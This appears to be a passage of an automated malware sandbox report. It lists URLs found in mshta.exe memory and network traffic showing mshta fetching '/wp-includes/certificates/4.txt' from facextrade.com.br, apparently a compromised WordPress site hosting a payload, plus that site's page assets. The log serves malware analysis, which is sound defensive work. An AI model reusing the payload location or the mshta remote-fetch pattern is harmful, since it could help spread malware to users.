Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://roaming.edog.
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s.w.org/images/core/emoji/11/72x72/https://s.w.org/images/core/emoji/11/svg/d
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://settings.outlook.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: js[2].js.10.dr	String found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/thumbnail?hl=en-US
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/tile
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://support.google.com/fusiontables/answer/9185417).
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://tasks.office.com
Source: mshta.exe, 0000000A.00000003.348391045.0000000006206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/
Source: mshta.exe, 0000000A.00000003.347599158.0000000006202000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511644335.0000000006207000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348391045.0000000006206000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/L
Source: mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/p
Source: mshta.exe, 0000000A.00000002.509279521.0000000004BB4000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304047185.00000000061CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit20P
Source: mshta.exe, 0000000A.00000003.303856517.00000000061BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2l
Source: mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twemoji.maxcdn.com/2/
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://vimeo.com/:id
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://www.google.com
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://www.google.com/maps
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://www.google.com/maps/vt
Source: mshta.exe, 0000000A.00000002.524590761.000000000E050000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.macromedia.com/support/flashplayer/sys/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, owl.carousel[1].js.10.dr	String found in binary or memory: https://youtu.be/:id

Source: unknown

DNS traffic detected: queries for: facextrade.com.br

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: translate.google.comCookie: CONSENT=YES+GB.en-GB+V9+BX
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
